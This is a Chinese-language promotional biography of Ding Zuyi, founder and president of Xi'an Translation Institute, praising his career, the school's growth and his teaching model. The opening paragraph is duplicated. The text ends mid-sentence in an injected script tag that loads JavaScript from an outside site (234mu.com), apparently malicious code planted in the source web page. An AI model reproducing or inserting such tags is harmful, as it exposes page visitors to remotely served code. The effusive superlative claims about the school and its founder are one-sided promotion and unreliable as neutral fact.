1939年8月29日生于江苏淮安，1964年六年制高压电器专业本科毕业。1985年，他受命西安市科协创建了西安地区大型学术团体“西安翻译协会”，并当选为副理事长兼秘书长；1987年，创建了西安翻译学院，1992年晋升为讲师，1997年被国家人事部人事与人才科学研究所聘为“特约研究员”，1998年被破格评为教授。自1997年起至今，历任陕西省政协第九届、第十届两届常委。

丁祖诒同志为西安翻译学院创始人、院长，陕西终南学社社长。1939年8月29日生于江苏淮安，1964年六年制高压电器专业本科毕业。1985年，他受命西安市科协创建了西安地区大型学术团体“西安翻译协会”，并当选为副理事长兼秘书长；1987年，创建了西安翻译学院，1992年晋升为讲师，1997年被国家人事部人事与人才科学研究所聘为“特约研究员”，1998年被破格评为教授。2001年10月陕西省高教协会授予其民办教育家称号，年底被评为享受国务院特殊津贴的专家。自1997年起至今，丁祖诒同志历任陕西省政协第九届、第十届两届常委。丁祖诒同志数十年如一日，为了祖国的教育大业，为了中国民办高教的腾飞发展，披肝沥胆，呕心沥血，倾注了毕生的心血和精力，做出了举世瞩目的卓越贡献，成为世人所公认的著名民办教育家和中国民办高教战线上的杰出领军人物。其主要先进事迹介绍如下：创建西译，以创新的理论及实践开启了中国民学的一代先河。丁祖诒同志以振兴祖国的民办高教事业为己任，胸怀天下，情系万千有志求学深造的莘莘学子，他毅然放弃了国办高校优厚待遇，砸破了自己的“铁饭碗”，从零起步，白手起家，创建了民办高校西安翻译学院。办学23年来，丁祖诒同志始终坚持取之于学、用之于学，不以营利为目的的社会主义办学方向，始终坚持全心全意为学生的成长成才服务和“第二希望工程”的崇高办学理念；秉持让无助者有助，让有志者成才，让奋进者辉煌的校训，艰苦创业，无私奉献，开拓进取，使西安翻译学院由原来的一无设备、二无资金、三无师资的“三无”困境中崛起，历经艰难跋涉，饱受千辛万苦，一跃而发展为如今占地2000余亩、建筑70万平米、拥有10亿多元公益性校产和40000名在校生的全国规模最大、综合实力最强、知名度最高的民办本科高校。不仅如此，以西译为龙头的陕西民办高校在其影响下也得到了迅猛发展，并且日益成为全国民学发展的“硅谷”，成为人们关注的焦点。西译从无到有，从小到大，从弱到强的辉煌发展为我国民办高校的发展树立了楷模，开创了中国民学发展的崭新局面。不断探索，勇于实践，敢于挑战，为民办高校的理论发展竭力尽智。丁祖诒同志以市场需求为导向，打破了绵沿中国两千多年传统的单一型育人模式，创造并实践了“外语+专业+现代化技能”或“专业+英语+现代化技能”的复合实用型双专业涉外人才教育模式，以及“全住校、全日制、全封闭、全方位、全过程”的“五全”式准军事化严格管理模式。这就是曾于1996年、1998年和1999年，先后三次在北京钓鱼台国宾馆叫红全国的“丁祖诒教育管理模式”，即“丁氏教育模式”。这一民办高校的崭新发展模式，从高等职业教育和全面素质教育两个方面丰富了高等教育的内涵，为中国高等教育的改革发展提供了成功的范例。在这一模式下，23年来，西安翻译学院“不花国家一分钱”，为国家和社会培养了6万余名通专业、懂技能、外语水平高的复合实用型双专业涉外合格毕业生。在连续多年的招生、就业激烈竞争态势下，西安翻译学院却依然能在严格入学标准的层层严格筛选中创造了民办高校绝无仅有的优质生源和“每年招一个大大学“的招生奇迹，保持了连年毕业生稳居98%以上的高就业率。学生历次的自考、专升本考试、英语等级等考试合格率一直在全省同类高校中名列前茅。出色的外语优势使得多年来西译选手在省市、全国英语演讲、辩论赛中屡屡夺冠，成为全国高校英语赛事中异军突起的“一匹黑马”。留学海外、考研升博，创业有成的学生更是逐年递增。丁祖诒同志力主创新，敢为人先，在拓宽民办高校的办学渠道，完善民办高校的办学体制与机制上更是独领风骚。他于2003年独辟蹊径地创办了“五年不拿国家文凭、实行全封闭管理、提供全外语环境，实施全外语教学、培养准同声传译的翻译研修学院”，向传统的育人观念再次挑战，历时7年的翻译研修学院办学业绩及其“敢死队”模式为民办高教的更大发展开辟了广阔的前景。为民学鼓与呼，兴教育担大任。丁祖诒同志不仅以自身卓绝的创新实践开辟了民办高校的崭新领域，以艰苦创业、无私奉献、爱生敬业、开拓进取的“西译精神”为民办高教的发展积累了宝贵的精神财富。他还能在保持西译可持续良性发展的同时，始终能够以敏锐的政治眼光和胸怀国家教育振兴的远见卓识，为民学发展中所遭遇的种种根本问题，敢于秉公直书，呼号呐喊，并在广泛调研的基础上，进行了大量深刻的理论研究。他先后在北京民办教育国际研讨会、中国科协年会、中国西部论坛等专题研讨会、专题论坛上及一些重大活动、重要媒体上公开发表主旨演讲、理论文章，如“论中国民办大学的态势”、“发展民办高等教育，促进西部大开发”、“论中国西部的民办高教市场”、“用三个代表重要思想指引民办高教前进航程”、“民办教育促进法实施中的思考”、“发展中国民办高校，为人类科技进步与世界和平作贡献”等一系列的理论探索，都能以深邃的洞察思考、雄辩的逻辑思维，无私的崇高境界、无畏的浩然正气，凛然的爱国大义、切肤的学子?script src=http://www.234mu.com/>